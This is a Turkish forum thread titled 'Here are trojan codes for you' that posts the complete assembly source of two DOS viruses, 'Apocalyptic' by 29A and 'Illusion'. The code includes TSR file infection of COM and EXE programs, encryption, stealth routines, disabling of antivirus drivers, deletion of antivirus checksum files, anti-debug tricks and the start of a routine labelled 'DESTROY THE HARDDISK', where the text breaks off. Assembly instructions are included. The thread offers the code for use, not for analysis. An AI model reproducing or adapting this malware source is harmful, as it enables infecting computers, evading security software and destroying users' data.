Alın Size Trojan Kodları

  1. KısayolKısayol reportŞikayet pmÖzel Mesaj
    nulkarp
    nulkarp's avatar
    Kayıt Tarihi: 21/Ocak/2004
    Erkek
    ; Virus name: Apocalyptic
    ; Author: WiNTeRMuTe/29A
    ; Size: 1058 bytes
    ; Origin: Madrid, Spain
    ; Finished: October, 1996 ( with a pair of corrections after that )
    ;
    ;
    ; Characteristics and curiosities
    ;
    ; - TSR appending Com/Exe infector
    ; - Has a routine to encrypt and another to decrypt ( ror+add+xor )
    ; - Stealth ( 11h/12h/4eh/4fh/5700h )
    ; - Deactivates Tbdriver when going into mem and when infecting
    ; - Makes the int 3h point to the int21h on infection
    ; - Fools f-prot"s "stealth detection"
    ; - Non-detectable ( in 2nd generation ) by Tbav 7.05, F-prot 2.23c, Scan,
    ; Avp and else. TbClean doesn"t clean it ( it gets lost with the Z Mcb
    ; searching loop,... really that product is a shit )
    ; - Payload: On 26th of July it shows all file with size 029Ah ( 666 )
    ;
    ;
    ; Thanks go to:
    ;
    ; - All the 29A staff; rulez ! Specially in the spanish scene to MrSandman,
    ; VirusBuster, Griyo, Mr.White, Avv, Anibal and ORP
    ; - Living Turmoil, specially Warblade and Krackbaby... go on with the mags!
    ; - H/P/C/A/V people in my bbs like Patuel, the Black Rider, MegaMan,
    ; Bitspawn, Netrunner, the S.H.E.... and of course to my sysop "Uni" and the
    ; other cosysops...
    ;
    ;
    ; And fucks go to:
    ;
    ; - Some Fidoasses. They know who they are.
    ;
    ;
    ; ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ
    ;
    ; " Why don"t you get a life and grow up,
    ; why don"t you realize that you"re fucked up,
    ; why criticize what you don"t understand,
    ; why change my words, you"re so afraid "
    ;
    ; ( Sepultura )
    ;
    ; ÄÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÄ
    ;
    ; To assemble the virus, use:
    ;
    ; Tasm virus.asm
    ; Tlink virus.obj
    ;

    .286
    HOSTSEG segment BYTE
    ASSUME CS:HOSTSEG, SS:CODIGO

    Host:
    mov ax,4c00h
    int 21h

    ends

    CODIGO segment PARA
    ASSUME CS:CODIGO, DS:CODIGO, SS:CODIGO

    virus_size equ virus_end-virus_start
    encrypt_size equ encrypt_end-encrypt_start

    virus_start label byte

    org 0h

    Letsrock:
    call delta ; Entry for Com/Exe
    delta:
    mov si,sp ; ë-offset
    mov bp,word ptr ss:[si]
    sub bp,offset delta
    push es ax ds

    push cs
    pop ds
    call tomacha ; I don"t call encryption
    ;on first generation

    Encrypt_start label byte

    ;************************************************* **************************
    ; RESIDENCE
    ;************************************************* **************************


    goon:
    push es
    call tbdriver ; Deactivate TbDriver

    mov ah,52h ; Pick list of lists
    int 21h
    mov si,es:[bx-2] ; First MCB
    mov es,si

    Mcb_Loop:
    cmp byte ptr es:[0],"Z" ; I search last Mcb.
    je got_last
    cont: add si,es:[3]
    inc si
    mov es,si
    jmp Mcb_Loop

    got_last:
    pop dx
    cmp word ptr es:[1],0h ; Is it free ?
    je go_on
    cmp word ptr es:[1],dx ; Or with active Psp ?
    jne exit
    go_on:
    cmp word ptr es:[3],((virus_size+15)/16)+1
    jb exit ; Is there space for me ?

    push es ; If there is, I get resident
    pop ds
    mov di,es
    add di,word ptr es:[3] ; Residence stuff; nothing
    sub di,((virus_size+15)/16) ;special
    push di
    mov es,di
    xor di,di
    xor si,si
    mov cx,8
    rep movsw

    pop di
    inc di
    mov word ptr es:[3],((virus_size+15)/16)+1
    mov word ptr es:[1],di

    mov byte ptr ds:[0],"M"
    sub word ptr ds:[3],((virus_size+15)/16)+1
    mov di,5
    mov cx,12
    xor al,al
    rep stosb

    push es cs
    pop ds ax
    inc ax
    push ax
    mov es,ax
    xor di,di
    mov si,bp
    mov cx,(virus_size)
    rep movsb

    mov ax,3521h
    int 21h
    pop ds
    mov ds:word ptr [int21h],bx
    mov ds:word ptr [int21h+2],es
    mov ah,25h
    lea dx,main_center
    int 21h

    ;************************************************* **************************
    ; RETURN TO HOST
    ;************************************************* **************************

    exit:
    pop ds ax es

    dec byte ptr [flag+bp] ; Was it a Com ?
    jz era_un_com

    mov si,ds ; Recover stack
    add si,cs:word ptr [ss_sp+bp]
    add si,10h
    cli
    mov ss,si
    mov sp,cs:word ptr [ss_sp+bp+2]
    sti

    mov si,ds ; Recover CS:IP
    add si,cs:word ptr [cs_ip+bp+2]
    add si,10h
    push si
    push cs:word ptr [cs_ip+bp]

    retf ; Return to host

    era_un_com:
    mov di,100h ; If it"s a Com, I make
    push di ;it to return
    lea si,bp+ss_sp
    movsw
    movsb
    ret

    condiciones:
    push cx dx ; Payload trigger
    mov ah,02ah ; Activates on 26th july
    int 21h
    cmp dx,071Ah
    pop dx cx
    jnz nain
    stc
    ret
    nain:
    clc
    ret

    ;************************************************* **************************
    ; TBDRIVER
    ;************************************************* **************************

    Tbdriver:
    xor ax,ax ; Annulates TBdriver,...
    mov es,ax ;really, this Av is a
    les bx,es:[0084h] ;megashit.
    cmp byte ptr es:[bx+2],0eah
    jnz volvamos
    push word ptr es:[bx+3]
    push word ptr es:[bx+5]
    mov es,ax
    pop word ptr es:[0086h]
    pop word ptr es:[0084h]
    volvamos: ret

    ;************************************************* **************************
    ; STEALTH 05700h
    ;************************************************* **************************

    Stealth_tiempo:
    pushf
    call dword ptr cs:[Int21h] ; Calls Int21h
    push cx
    and cl,01fh
    xor cl,01fh
    pop cx
    jnz nada
    or cl,01fh ; Changes seconds
    nada:
    retf 2

    ;************************************************* ***************************
    ; FCB STEALTH
    ;************************************************* ***************************

    FCB_Stealth:

    pushf ; Stealth of 11h/12h, by
    call dword ptr cs:[Int21h] ;FCBs
    test al,al
    jnz sin_stealth

    push ax bx es

    mov ah,51h
    int 21h
    mov es,bx
    cmp bx,es:[16h]
    jnz No_infectado

    mov bx,dx
    mov al,[bx]
    push ax
    mov ah,2fh
    int 21h
    pop ax
    inc al
    jnz Normal_FCB
    add bx,7h
    Normal_FCB:
    mov al,es:[bx+17h]
    and al,1fh
    xor al,1fh
    jnz No_infectado

    sub word ptr es:[bx+1dh],Virus_size ; Old lenght of
    sbb word ptr es:[bx+1fh],0 ;file and "normal"
    and byte ptr es:[bx+17h],0F1h ;seconds

    No_infectado:
    call condiciones
    jnc sin_nada

    mov word ptr es:[bx+1dh],029Ah ; Virus"s payload
    mov word ptr es:[bx+1fh],0h

    sin_nada:
    pop es bx ax
    Sin_stealth: retf 2

    ;************************************************* ***************************
    ; INT 21h
    ;************************************************* ***************************

    main_center: ; The main center !
    cmp ax,5700h
    jz stealth_tiempo
    cmp ah,11h
    jz fcb_stealth
    cmp ah,12h
    jz fcb_stealth
    cmp ah,4eh
    jz handle_stealth
    cmp ah,4fh
    jz handle_stealth
    cmp ah,4bh
    je ejecutar
    jmp saltito

    ;************************************************* ***************************
    ; HANDLE STEALTH
    ;************************************************* ***************************

    handle_stealth:

    pushf ; Handle stealth, functions
    call dword ptr cs:[Int21h] ;4eh/4fh
    jc adios_handle

    pushf
    push ax es bx cx

    anti_antivirus:

    mov ah,62h
    int 21h

    mov es,bx ; Is it F-prot ?
    mov es,word ptr es:[2ch]
    xor bx,bx
    mov cx,100h
    fpr:
    cmp word ptr es:[bx],"-F"
    jz sin_infectar ; Si lo es, pasamos de hacer
    inc bx ;el stealth
    loop fpr

    mov ah,2fh
    int 21h

    mov al,es:[bx+16h]
    and al,1fh
    xor al,1fh
    jnz sin_infectar

    sub word ptr es:[bx+1ah],Virus_size ; Subs virus size
    sbb word ptr es:[bx+1ch],0 ;and places coherent
    and byte ptr es:[bx+16h],0F1h ;seconds

    sin_infectar:
    call condiciones
    jnc no_payload

    mov word ptr es:[bx+1ah],029Ah ; payload
    mov word ptr es:[bx+1ch],0h
    no_payload:
    pop cx bx es ax
    popf
    adios_handle:
    retf 2

    ;************************************************* ***************************
    ; EXE INFECTION
    ;************************************************* ***************************

    ejecutar:
    pushf
    push ax bx cx dx si di ds es bp

    mov di,ds
    mov si,dx

    call tbdriver ; deactivates TbDriver

    mov ax,3503h ; Int 3h points to the
    int 21h ;int 21h: less size and we
    push cs ;fuck"em a bit
    pop ds
    mov ah,25h
    lea dx,saltito
    int 21h
    push es bx ax

    mov ax,3524h ; We handle int 24h
    int 3h
    mov ah,25h
    lea dx,int24h
    int 3h
    push es bx ax

    mov ds,di
    mov dx,si

    Noloes:
    mov ax,4300h ; Saves and clears file
    int 3h ;attributes
    mov ax,4301h
    push ax cx dx
    xor cx,cx
    int 3h

    vamos_a_ver_si_exe:

    mov byte ptr [flag],00h
    mov ax,3d02h ; Opens file
    int 3h
    jc we_close

    infect: xchg ax,bx

    push cs
    pop ds
    mov ah,3fh ; Reads header
    mov cx,01ch
    lea dx,cabecera
    int 3h

    mov al,byte ptr [cabecera] ; Makes comprobations
    add al,byte ptr [cabecera+1]
    cmp al,"M"+"Z"
    jnz go_close
    cmp word ptr [cabecera+18h],40h
    jz go_close
    cmp word ptr [cabecera+1ah],0
    jnz go_close ; If it"s all right, goes on
    jmp conti

    go_close:
    mov ds,di
    mov dx,si

    buscar_final: cmp byte ptr ds:[si],0 ; Searches end in ds:si
    je chequeo
    inc si
    jmp buscar_final

    chequeo:
    push cs ; Is it a .COM ?
    pop es
    lea di,comtxt
    sub si,3
    cmpsw
    jne we_close
    jmp infeccion_com

    we_close:
    jmp close

    conti:
    mov ax,5700h ; Time/date of file
    push ax
    int 3h
    push dx cx
    and cl,1fh
    xor cl,1fh
    jz close_ant

    call pointerant
    cmp ax,0200h
    ja contt
    noinz: xor si,si ; To avoid changing
    jmp close_ant ;date of non-infected
    ;files
    contt:

    push ax
    pop si
    shr ax,4
    shl dx,12
    add dx,ax
    sub dx,word ptr ds:cabecera+8
    push dx

    and si,0fh
    push si
    call copy
    pop si

    pop dx
    mov ds:word ptr [cs_ip+2],dx
    inc dx
    mov ds:word ptr [ss_sp],dx
    mov ds:word ptr [cs_ip],si
    mov ds:word ptr [ss_sp+2],((virus_size+100h-15h)/2)*2

    call pointerant

    mov cx,200h
    div cx
    inc ax
    mov word ptr [cabecera+2],dx
    mov word ptr [cabecera+4],ax
    mov word ptr [cabecera+0ah],((virus_size)/16)+10h

    mov ax,4200h
    call pointer
    mov cx,1ch
    lea dx,cabecera
    push cs
    pop ds
    mov ah,40h
    int 3h

    close_ant:
    pop cx dx ax
    or si,si
    je close
    inc ax
    or cl,1fh
    int 3h


    close:

    pop dx cx ax ; Attributes
    inc ax
    int 21h

    mov ah,03eh
    int 3h

    nahyuck:

    pop ax dx ds ; Restores Int 24h y 3h
    int 3h
    pop ax dx ds
    int 3h

    pop bp es ds di si dx cx bx ax
    popf
    jmp saltito

    Pointerant:
    mov ax,4202h
    Pointer:
    xor cx,cx
    cwd
    int 3h
    ret

    ;************************************************* ***************************
    ; COM INFECTION
    ;************************************************* ***************************


    infeccion_com:

    mov ax,3d02h ; Open
    int 3h
    jc close
    xchg bx,ax

    push cs
    pop ds

    mov byte ptr [flag],1h ; To make the virus know it"s
    ;a com when restoring
    mov ax,5700h ; Time/date
    push ax
    int 3h
    push dx cx
    and cl,1fh
    xor cl,1fh
    jz close_ant

    quesiquevale:
    mov ah,3fh ; Reads beggining of file
    mov cx,3
    lea dx,ss_sp
    int 3h

    call pointerant ; Lenght check
    cmp ax,0200h
    ja puedes_seguir
    cmp ax,(0ffffh-virus_size-100h)
    jna puedes_seguir
    alnoin: jmp noinz

    puedes_seguir:
    sub ax,3
    mov word ptr [cabecera],ax

    call copy ; Appending

    mov ax,4200h
    call pointer

    mov ah,40h ; Jumping to code at
    lea dx,salt ;beggining
    mov cx,3h
    int 3h

    jmp close_ant

    ;************************************************* ***************************
    ; DATA
    ;************************************************* ***************************

    autor: db "Apocalyptic by Wintermute/29A"
    comtxt: db "COM"
    flag: db 0
    salt: db 0e9h
    cabecera: db 0eh dup (90h)
    SS_SP: dw 0,offset virus_end+100h
    Checksum: dw 0
    CS_IP: dw offset host,0
    Cequis: dw 0,0,0,0

    Encrypt_end label byte

    copy:
    push cs
    pop ds
    xor bp,bp ; Don"t let bp fuck us
    call encryptant ; Encrypts
    mov ah,40h ; Copies
    mov cx,virus_size
    lea dx,letsrock
    int 3h
    call deencrypt ; Deencrypts
    ret

    ;************************************************* ***************************
    ; ENCRYPT ROUTINE
    ;************************************************* ***************************

    encryptant:
    lea si,encrypt_end ; Encrypts
    mov cx,encrypt_size
    enc_loop: mov dl,byte ptr [si]
    sub dl,2h
    xor dl,0f9h
    ror dl,4
    mov byte ptr [si],dl
    dec si
    loop enc_loop
    ret

    deencrypt:
    lea si,encrypt_end+bp ; Deencrypts
    mov cx,encrypt_size
    mov di,8
    encri: mov dl,byte ptr [si]
    mov al,dl
    rol dl,4
    xor dl,0f9h
    add dl,2h
    mov byte ptr [si],dl
    dec si
    loop encri
    ret

    Int24h: mov al,3
    ret
    Saltito: db 0eah
    int21h: dw 0,0


    virus_end label byte

    tomacha:
    mov cs:word ptr encrypt_start-2+bp,deencrypt-encrypt_start
    ret
    ; This is cause I don"t like putting a stupid flag,
    ; this two commands won"t be copied

    CODIGO ends
    END Letsrock

    VSTACK segment para STACK "Stack"

    db 100h dup (90h)

    ends

    Deveye diken insana, öpen yaranır.
  2. KısayolKısayol reportŞikayet pmÖzel Mesaj
    nulkarp
    nulkarp's avatar
    Kayıt Tarihi: 21/Ocak/2004
    Erkek
    ; Virus Name: Illusion
    ; Author : ThE_WiZArD
    ; Origin : Spain, 1997.
    ; Lenght : 1332 bytes ( 666 * 2 ) };-)


    ; Illusion is my first released virus , it`s lame .. i know, and is not
    ; optimized at all , but i write this virus just to test my "Full Thunderbyte
    ; Stealth" tutorial , tested under TBAV v8.0 with magnific results .. 0 flags
    ; in high-heuristic sensibility ..... hope Veldams enjoy it ;-).
    ;
    ;ÚÄÄÄÄÄÄÄÄÄÄÄÄ¿
    ;³ Features ³
    ;ÀÄÄÄÄÄÄÄÄÄÄÄÄÙ
    ;
    ; -Memory Resident (MCB)
    ; -Infects .COM files except COMMAND.COM on Executing (4Bh) and Chmod (43h)
    ; -Tunneling routine tracing under the PSP.
    ; -Anti-Debug and Emulation Code.
    ; -Fools "F-POTATOE Stealth Detection" and disable Stealth when a compress
    ; util are running.
    ; -Hook Int 24h to hide errors.
    ; -Delete CRC Checksums ( In current DIR )
    ;
    ; -> anti-vir.dat
    ; -> avp.crc
    ; -> chklist.tav
    ; -> chklist.ms
    ; -> ivb.ntz
    ; -> smartchk.cps
    ;
    ;
    ;Thx go to: All 29A staff and all the channels #virus
    ;
    ;Fucks go to: Well , they know who they are.
    ;
    ;
    ;
    ; ThE_WiZArD
    ; wizard555@hotmailcom
    ;
    ;
    ;-=[ "Information is the greatest weapon of power to the modern wizard." ]=-

    ;
    ; To assembly: TASM /M Illusion.ASM
    ; TLINK Illusion
    ; EXE2COM Illusion.EXE Illusion.COM


    .286
    Illusion segment byte public
    assume cs:Illusion,ds:Illusion
    org 0h


    Illusion_size equ (Illusion_end-Illusion_start)

    Illusion_start label byte


    ;************************************************* ****************************
    ; CALCULATE DELTA-OFFSET *
    ;************************************************* ****************************

    Virus_Illusion:
    call Delta_offset

    Delta_offset:
    mov si,sp
    mov bp,word ptr ss:[si]
    sub bp,offset delta_offset ;Get ê-Offset
    add sp,2

    call Disable_KB ;Turn off Keyboard !

    ;************************************************* ****************************
    ; ANTI-DEBUG/EMULATION TRICK *
    ;************************************************* ****************************

    Fuck_TRACE:
    push bx
    pop ax
    dec sp
    dec sp
    pop ax
    cmp ax,bx ;Are we beging
    je Check_for_TSR ;Traced?
    hlt
    int 19h ;!! FUCK OFF !!

    ;************************************************* ****************************
    ; CHECK FOR TSR *
    ;************************************************* ****************************

    Check_for_TSR:
    mov ax,3066h ;Check if we are TSR
    int 21h

    cmp ax,555h ;Are we already
    jne Check_Date ;memory resident ?
    jmp Return_File

    ;************************************************* ****************************
    ; GET-DATE ROUTINE *
    ;************************************************* ****************************

    Check_Date:
    mov ah,2bh ;Get Date
    dec ah
    int 21h
    cmp dh,07h
    jne Check_Date2
    cmp dl,04h ;It`s our time ?
    jne Check_Date2
    jmp PAYLOAD ;Go to PAYLOAD !!

    Check_Date2:
    cmp al,02h
    jne Tunnel_21h ;More dates !
    cmp dl,05h
    jne Tunnel_21h
    jmp PAYLOAD ;Go to PAYLOAD !!

    Illusion_LiveS db "->#ThE_WiZArD"

    ;************************************************* ****************************
    ; TUNNEL INT21h TRACING THE PSP *
    ;************************************************* ****************************

    Tunnel_21h:
    mov ax,3621h
    dec ah
    int 21h ;Get INT 21h Vector
    mov word ptr cs:[OldInt21h][bp],bx
    mov word ptr cs:[OldInt21h+2][bp],es ;Save it
    mov word ptr cs:[Tunnel21h][bp],bx
    mov word ptr cs:[Tunnel21h][bp],es
    push ds
    nop
    lds bx,ds:[0006h]

    Tracear:
    nop
    cmp byte ptr ds:[bx],0eah ;JMP FAR ?
    jne Chekear
    lds bx,ds:[bx+1]
    cmp word ptr ds:[bx],9090h ;Double Nop ?
    jnz Tracear
    sub bx,32h
    cmp word ptr ds:[bx],9090h ;Double Nop ?
    nop
    jne Chekear
    Hallado:
    mov cs:[bp+word ptr Tunnel21h],bx ;OK , We found it !!
    mov cs:[bp+word ptr Tunnel21h+2],ds
    nop
    jmp short Install_MCB
    Chekear:
    cmp word ptr ds:[bx],2e1eh
    jnz Install_MCB
    add bx,25h
    cmp word ptr ds:[bx],80fah
    je Hallado

    ;************************************************* ****************************
    ; ROUTINE TO GO TSR *
    ;************************************************* ****************************
    Install_MCB:
    pop ds

    mov ax,ds
    dec ax
    mov ds,ax ;Program"s MCB segment
    xor di,di

    cmp byte ptr ds:[di],"Y" ;Is it a Z block?
    ja MCB_OK ;YES !!
    jmp Return_File ;No .. Exit ..

    MCB_OK: sub word ptr ds:[di+3],((Illusion_Size/10h)+2)
    sub word ptr ds:[di+12h],((Illusion_Size/10h)+2)
    add ax,word ptr ds:[di+3]
    inc ax

    mov ds,ax
    mov byte ptr ds:[di],"Z" ;Mark block as Z
    mov word ptr ds:[di+1],8 ;System memory
    mov word ptr ds:[di+3],((Illusion_Size/10h)+1)
    mov word ptr ds:[di+8],4f44h ;Mark block as owned
    mov word ptr ds:[di+0ah],0053h ;by DOS (444f53h,0)
    inc ax

    cld
    push cs
    pop ds
    mov es,ax
    mov cx,Illusion_SiZe ;Copy virus to memory
    mov si,bp
    rep movsb

    ;************************************************* ****************************
    ; SET INTERRUPTION 21H *
    ;************************************************* ****************************
    Set_int21h:
    mov ds,cx
    mov si,22h*4 ;Original vector

    cli
    mov word ptr [si-4],offset INT21_Illusion
    mov word ptr [si-2],ax ;Set ours
    sti

    Return_File:
    push cs cs
    pop ds es

    call Enable_KB ;Enables Keyboard


    ;************************************************* ****************************
    ; RESTORE .COM file AND SET REGISTERS = 0 *
    ;************************************************* ****************************

    Exit_COM:
    lea si,[bp+offset Buffer_COM] ;SI points to original
    ;start
    push 100h
    pop di ;Save DI to Stack to
    push di ;return to program ...
    movsw ;Copy three bytes
    movsb

    Reset_Reg:
    xor ax,ax
    xor bx,bx ;Set registers to 0
    xor dx,dx
    xor di,di
    xor si,si
    xor bp,bp

    ret ;Return to host

    ;************************************************* ****************************
    ; DISABLE KEYBOARD *
    ;************************************************* ****************************

    Disable_KB:
    in al,21h
    or al,00000010b
    out 21h,al ;Disable KeyBoard
    ret

    ;************************************************* ****************************
    ; ENABLE KEYBOARD *
    ;************************************************* ****************************

    Enable_KB:
    in al,21h ;Enable KeyBoard
    and al,not 2
    out 21h,al
    ret


    ;************************************************* ****************************
    ; FCB STEALTH *
    ;************************************************* ****************************

    Fcb_Stealth:
    xchg ax,bx
    pushf
    call dword ptr cs:[OldInt21h] ;Call to INT 21h
    test al,al ;Error ?
    jnz fcb_out ;Jmp if error

    push ax bx cx es ;Save registers

    mov ah,51h ;Get current psp
    int 21h

    mov es,bx ;Es=segment of psp
    cmp bx,es:[16h] ;psp of COMMAND.COM?
    jnz fcb_out1 ;no, then jmp
    mov bx,dx ;DS:BX=FCB
    mov al,[bx] ;1st byte of fcb
    push ax ;save it
    mov ah,2fh ;get DTA in ES:BX
    int 21h

    pop ax ;get first byte
    inc al ;al=ffh therefor al=ZR
    jnz fcb_old ;if != ZR jmp
    add bx,7h ;extended fcb here, +7

    fcb_old:
    cmp word ptr es:[bx+09h],"OC" ;It`s a .COM file ?
    jne Fcb_out1

    mov ax,es:[bx+17h] ;Get file time stamp
    mov cx,es:[bx+19h] ;Get file date stamp
    and ax,1fh ;Unmask seconds field
    and cx,1fh ;Unmask day of month
    xor ax,cx ;Are they equal?
    jnz fcb_out1 ;Nope, exit ...
    sub word ptr es:[bx+1dh],Illusion_Size ;sub away virus_size
    sbb word ptr es:[bx+1fh],0 ;Sub with carry flag

    fcb_out1: pop es cx bx ax ;Restore registers

    fcb_out: iret ;Return control


    ;************************************************* ****************************
    ; NEW INTERRUPT 21h *
    ;************************************************* ****************************

    Int21_Illusion:
    cmp ax,3066h
    jne Int21_Check

    mov ax,0555h ;Return AX=555 !!!
    iret

    Int21_Check:
    xchg ax,bx ;Anti-heuristics(TBAV)
    cmp bh,11h
    je Fcb_Stealth ;FCB Stealth
    cmp bh,12h
    je Fcb_stealth
    cmp bh,4eh
    je HANDLE_stealth ;HANDLE Stealth
    cmp bh,4fh
    je HANDLE_stealth
    cmp bx,4B00h ;Execute
    je Infectar
    cmp bh,43h ;Chmod
    je Infectar
    xchg ax,bx ;Restore this

    ExitInt21: db 0eah ;Exit ...
    Oldint21h dw ?,? ;Old Int 21h

    ExitTun21: db 0eah
    Tunnel21h dw ?,? ;Tunneled Int 21h

    ;************************************************* ****************************
    ; HANDLE STEALTH *
    ;************************************************* ****************************

    HANDLE_Stealth:
    xchg ax,bx
    pushf
    call DWORD ptr cs:[OldInt21h] ;Call to INT 21h
    jnc Handle_OK

    stc
    retf 02h
    Handle_OK:
    push ax bx cx dx es ;Save registers

    mov ah,62h
    pushf
    call DWORD ptr cs:[OldInt21h] ;Call to INT 21h

    dec bx
    mov es,bx
    mov ax,word ptr es:[0008h]

    cmp ax,"-F" ;F-PROT (Fuck POTATOE)
    jz not_infected

    cmp ax,"RA" ;ARJ
    jz not_infected

    cmp ax,"AR" ;RAR
    je not_infected

    cmp ax,"KP" ;PK*
    je not_infected

    mov ah,2Fh ;get DTA
    pushf
    call DWORD ptr cs:[OldInt21h] ;Call to INT 21h

    mov ax,es:[bx+16h] ;Get file time stamp
    mov cx,es:[bx+18h] ;Get file date stamp
    and ax,1fh ;Unmask seconds field
    and cx,1fh ;Unmask day of month
    cmp ax,cx ;Are they equal
    jne not_infected

    cmp ax,1eh
    jb Hnd_Sub

    and byte ptr es:[bx+16h],0E0h ;Erase erroneous sec.

    HnD_Sub:
    sub word ptr es:[bx+1Ah],Illusion_size ;Sub virus size
    sbb word ptr es:[bx+1ch],0 ;Sub with carry flag

    not_infected:
    pop es dx cx bx ax
    clc
    retf 02h

    ;************************************************* ****************************
    ; RUTINE TO INFECT *
    ;************************************************* ****************************

    Infectar:
    xchg ax,bx

    push ax bx cx dx ;Save this Shit ;-)
    push si di es ds

    call Disable_KB ;Turn off Keyboard

    Check_File:
    cld ;Check extension
    mov di,dx ;for COM
    push ds
    pop es
    mov al,"." ;Search extension
    repne scasb
    Check_COM:
    cmp word ptr es:[di],"OC" ;Check "CO"
    jne No_GOOD ;and
    cmp byte ptr es:[di+2],"M" ;Check "M"
    jne No_GOOD


    Check_COMMAND:
    cmp word ptr es:[di-4],"NA" ;COMMAND.COM ?
    jne Continue

    No_GOOD:
    call Delete_CRC ;Delete CRC files !!
    jmp restore ;No .COM or COMMAND.COM


    Continue:
    call set_Int_24h ;Set New Int 24h

    mov ax,4300h ;Get file Attribs
    call Call_Tun21h

    push cx ;Save it

    test cl,1h ;Make sure there normal
    jz open_file ;Okay there are
    and cl,0feh ;Nope, Fix them...
    mov ax,4300h ;Save them now
    inc ax ;AX=4301h (TBAV :-P )
    call Call_Tun21h
    jc No_GOOD

    Open_file:
    mov ax,3D02h ;Open file
    call Call_Tun21h

    jc No_GOOD

    Check_Infect:
    xchg ax,bx ;BX File handler

    push dx

    mov ax,5700h ;Get file TIME + DATE
    call Call_Tun21h

    mov word ptr cs:[old_time],cx ;Save file time
    mov word ptr cs:[old_date],dx ;Save file date

    and cx,1fh ;Unmask second field
    and dx,1fh ;Unmask date field
    xor cx,dx ;are they equal?
    jz Exit_Close ;File infected


    exec_time_ok:
    and word ptr cs:[old_time],0ffe0h ;Reset second bits
    or word ptr cs:[old_time],dx ;Seconds=day of month

    push cs
    pop ds

    mov ah,3fh
    mov cx,3
    mov dx,offset ds:[Buffer_COM] ;Read first 3 bytes
    Call Call_Tun21h

    mov al,02h ;Lseek to end
    call Move_pointer

    cmp byte ptr ds:[Buffer_COM],"M"
    je Exit_Close

    cmp byte ptr ds:[Buffer_COM+2],"Z" ;Is file an EXE?
    je Exit_Close ;Exit !

    cmp ax,0fa00h ;COM > 64K ?
    jae Exit_Close ;No sorry ...

    mov cx,ax
    sub cx,3 ;Set the JMP
    mov word ptr cs:[jump_address+1],cx

    mov ah,3Fh ;Write Virus
    inc ah
    mov dx,offset Illusion_Start
    mov cx,Illusion_Size ;Virus size
    call Call_Tun21h

    mov al,00h ;Lseek to start
    call Move_pointer

    mov ah,3Fh ;Write back the first
    inc ah
    mov dx,offset ds:[jump_address] ;3 bytes
    mov cx,3h
    Call Call_Tun21h
    Exit_Res:
    mov cx,word ptr ds:[old_time] ;Restore file time
    mov dx,word ptr ds:[old_date] ;Restore file date
    mov ax,5700h
    inc ax ;AX=5701h (TBAV :-P )
    call Call_tun21h

    Exit_Close:
    mov ah,3Eh ;Close file
    Call Call_Tun21h

    Res_Att:
    push es
    pop ds

    pop dx
    pop cx
    mov ax,4300h ;Restore Atributes
    inc ax
    call Call_Tun21h
    call Reset_Int_24h ;Reset Int24h

    Restore:
    call Enable_KB ;Restore Keyboard

    pop ds es di si ;Restore this shit !
    pop dx cx bx ax

    jmp ExitInt21 ;Exit ...


    Old_date dw 0 ;File date
    Old_time dw 0 ;File time
    Jump_address db 0E9h,90h,90h ;JMP Address
    Buffer_COM db 0CDh,020h,90h ;Original 3 bytes


    ;************************************************* ****************************
    ; RUTINE TO MOVE POINTER *
    ;************************************************* ****************************

    Move_pointer:
    mov ah,42H
    xor cx,cx ;CX=0
    cwd ;DX=0
    call Call_Tun21h
    ret


    ;************************************************* ****************************
    ; RUTINE TO CALL INT_21h TUNNELED *
    ;************************************************* ****************************

    Call_Tun21h:
    pushf
    call DWORD PTR cs:[Tunnel21h] ;Call FAKE Int 21h
    ret

    ;************************************************* ****************************
    ; DELETE CRC FILES *
    ;************************************************* ****************************

    delete_crc proc near

    push ax cx dx ds

    push cs
    pop ds

    xor cx,cx

    lea dx,kill_msav ;Chklist.ms
    call kill_crc_files

    lea dx,kill_tbav
    call kill_crc_files

    lea dx,kill_smartchk ;Smartchk.cps
    call kill_crc_files

    lea dx,kill_avp ;Avp.crc
    call kill_crc_files

    lea dx,kill_ivb ;Ivb.ntz
    call kill_crc_files

    lea dx,kill_chklist ;Chklist.tav
    call kill_crc_files

    Exit_Delete: pop ds dx cx ax
    retn

    kill_crc_files:
    mov ax,4300h ;Clear Atributes
    inc ax
    call Call_Tun21h

    mov ah,41h ;Delete File
    call Call_Tun21h
    retn
    endp

    ;************************************************* ****************************
    ; SET NEW INT24h *
    ;************************************************* ****************************

    Set_int_24h:
    push ax si di
    push ds es

    xor ax,ax ;Point to the IVT
    mov ds,ax

    push cs ;CS=ES
    pop es

    mov si,24h*4 ;Save the original int
    mov di,offset oldint24h ;24h address
    cld
    movsw
    movsw

    mov word ptr [si-4],offset Newint24h
    mov word ptr [si-2],cs ;Set ours !

    pop es ds
    pop di si ax
    ret

    ;************************************************* ****************************
    ; RESTORE OLD INT24h *
    ;************************************************* ****************************

    Reset_int_24h:
    push ax si di
    push ds es

    xor ax,ax ;Point to the IVT
    mov es,ax

    push cs ;CS=DS
    pop ds

    mov si,offset Oldint24h ;Restore the original
    mov di,24h*4 ;Int 24h address
    cld
    movsw
    movsw

    pop es ds
    pop di si ax
    ret

    ;************************************************* ****************************
    ; NEW INT 24h *
    ;************************************************* ****************************

    Newint24h:
    mov al,3 ;Pass the error code
    iret

    Oldint24h dw ?,? ;Original int 24h


    ;************************************************* ****************************
    ; DATA ABOUT ANTI-ANTIVIRUS *
    ;************************************************* ****************************

    ; CRC files to delete!

    kill_tbav db "ANTI-VIR.DAT",0
    kill_msav db "CHKLIST.MS",0
    kill_smartchk db "SMARTCHK.CPS",0
    kill_avp db "AVP.CRC",0
    kill_ivb db "IVB.NTZ",0
    kill_chklist db "CHKLIST.TAV",0



    ;************************************************* ****************************
    ; !! ACTIVATION ROUTINE !! *
    ;************************************************* ****************************

    PAYLOAD:
    mov si,bp
    mov ax,0002h ;Clear Screen
    int 10h

    PREP_VIDEO:
    mov ah,13h ;Set values
    mov al,0
    mov bh,0
    mov bl,14
    mov cx,60
    mov dh,8 ;Line
    mov dl,09 ;Position
    lea bp,[si+offset MENSAJE]
    int 10h ;Print messagge

    mov bl,0fh
    mov cx,45
    mov dh,11
    mov dl,16
    lea bp,[si+offset MENSAJE2] ;Messagge
    int 10h ;Print messagge

    mov cx,39
    inc dh
    lea bp,[si+offset MENSAJE3] ;Messagge
    int 10h ;Print messagge

    mov cx,44
    inc dh
    lea bp,[si+offset MENSAJE4] ;Messagge
    int 10h ;Print messagge


    ;************************************************* ****************************
    ; DESTROY THE HARDDISK *
    ;************************************************* ****************************

    Rip_hd:
    xor dx, dx ;Clear dx
